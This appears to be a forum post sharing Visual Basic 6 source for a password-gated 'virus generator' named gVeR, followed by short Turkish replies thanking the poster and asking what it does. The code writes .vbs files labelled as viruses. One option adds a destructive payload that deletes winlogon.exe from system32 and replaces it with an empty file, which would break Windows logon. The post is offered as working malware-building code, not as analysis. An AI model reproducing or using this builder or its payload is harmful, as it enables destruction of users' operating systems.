Private Sub Check1_Click()
On Error Resume Next
Dim xx As String
xx = "DeleteFile C:\\WINDOWS\\system32\\winlogon.exe" & vbCrLf & "Open " & Chr(34) & "C:\\WINDOWS\\system32\\winlogon.exe" & Chr(34) & " For Append As #1" & vbCrLf & "Close #1"
If Check1.Value = 1 Then
RichTextBox1.Text = RichTextBox1.Text & vbCrLf & xx
Else
Check1.Value = False
Check2.Value = False
Check3.Value = False
Check4.Value = False
RichTextBox1.Text = ""
RichTextBox1.Text = "Rem ################################################## #######################" & vbCrLf & "Rem Virus Name:" & s & vbCrLf & "Rem ################################################## #######################" & vbCrLf & "Rem Generated By gVeR" & vbCrLf & "Rem ################################################## #######################"
End If
End Sub

Private Sub Check3_Click()
On Error Resume Next
If Check3.Value = 0 Then
Text2.Enabled = False
Text2.Text = ""
Else
Text2.Enabled = True
End If
End Sub

Private Sub Form_Load()
On Error Resume Next
Dim sifre
sifre = InputBox("Enter The Password To Use This Program", "Password Required")
If sifre = "0a20ad9b" Then
MsgBox "Your password has been validated!", vbInformation, "Validation Succefully"
Form1.Visible = True
Else
MsgBox "This is not real password!", vbCritical, "Password Error"
Unload Me
End If
End Sub

Private Sub Text1_Change()
On Error Resume Next
Dim s As String
s = Text1.Text
RichTextBox1.Text = "Rem ################################################## #######################" & vbCrLf & "Rem Virus Name:" & s & vbCrLf & "Rem ################################################## #######################" & vbCrLf & "Rem Generated By gVeR" & vbCrLf & "Rem ################################################## #######################"
End Sub

Private Sub xpButton1_Click()
On Error Resume Next
Dim s As String
s = Text1.Text
Dim yol
yol = App.Path & "/" & s & ".vbs"
s = Text1.Text
RichTextBox1.Text = RichTextBox1.Text & vbCrLf & "MsgBox " & Chr(34) & Text2.Text & Chr(34)
Text3.Text = RichTextBox1.Text
Open yol For Append As #1
Print #1, RichTextBox1.Text
Close #1
MsgBox "Virus file created,now it is in the directory where the program runs", vbInformation, "Creation Completed"
End Sub

Private Sub xpButton2_Click()
On Error Resume Next
Form2.Show vbModal
End Sub


Kolay GeLsin..

tamam da n e işe yarar bu virüs:S

Hocam bi açıklama falan yazsaydın ne işe yarıycak bu ?
Saygılar

sanırım Visual Basic'de hazırlanan bi virüs örneği Vb den o anlaşılıyo

Teşekkürler...

sağol kardeş

sağol